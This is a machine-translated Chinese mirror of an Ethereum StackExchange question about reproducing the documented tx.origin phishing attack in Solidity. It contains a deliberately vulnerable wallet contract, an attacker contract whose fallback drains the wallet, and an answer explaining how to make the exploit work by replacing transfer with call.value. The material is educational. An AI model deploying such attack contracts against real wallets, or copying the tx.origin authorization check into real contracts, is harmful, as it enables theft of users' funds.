首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >无法复制tx.origin攻击

无法复制tx.origin攻击
EN

Ethereum用户
提问于 2018-02-04 08:36:31
回答 1查看 814关注 0票数 1

当时我正在阅读稳健的文档,并决定复制tx.origin攻击。我从文档中复制了合同,但在使用函数"transferTo“时出现了错误。有关错误的详细信息,请查看下面的混合屏幕截图。

在下面找到我的合同。

代码语言:javascript
复制
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    function TxUserWallet() payable public  {
        owner = msg.sender;
    }

    function transferTo(address dest, uint256 amount) payable public {

        require(tx.origin == owner);
        dest.transfer(amount);
    }

    function getBalance() constant returns(uint256){
        return this.balance;
    }

    function getOwner() constant returns(address){
       return owner;
    }
}


interface TxUserWallet {
    function transferTo(address dest, uint amount) public;
}

contract TxAttackWallet {
    address owner;

    function TxAttackWallet() payable public  {
        owner = msg.sender;
    }

    function() payable public {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }

    function getBalance() constant returns(uint256){
        return this.balance;
    }

    function getOwner() constant returns(address){
       return owner;
    }


}
EN

回答 1

Ethereum用户

发布于 2018-02-04 15:30:28

依赖tx.origin来确定事务是否由可信方发起是不好的。这就是坚固医生告诉你的那一章。易受攻击的代码是require(tx.origin == owner);

现在,要实际利用tx.origin缺陷,尝试重入攻击,但失败了,因为现在dest.transfer(amount);只向dest契约的回退函数发送2300个气体。

要观察基于tx.source的安全控制的滥用(不考虑新的transfer()行为,它打破了重入技巧),您可以将dest.transfer(amount);更改为dest.call.value(amount)()。就像这里,https://github.com/abbbe/txorigin/blob/master/contracts/TxUserWallet.sol#L14

而且,从截图中还不清楚你是否正确地触发了攻击。您必须从TxUserWallet的所有者帐户中调用TxUserWallet.transferTo(ADDR_OF_TxAttacWallet, 1)。这将把所有的资金从TxUserWallet发送给TxAttackWallet的所有者。

票数 2
EN
页面原文内容由Ethereum提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://ethereum.stackexchange.com/questions/38490

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档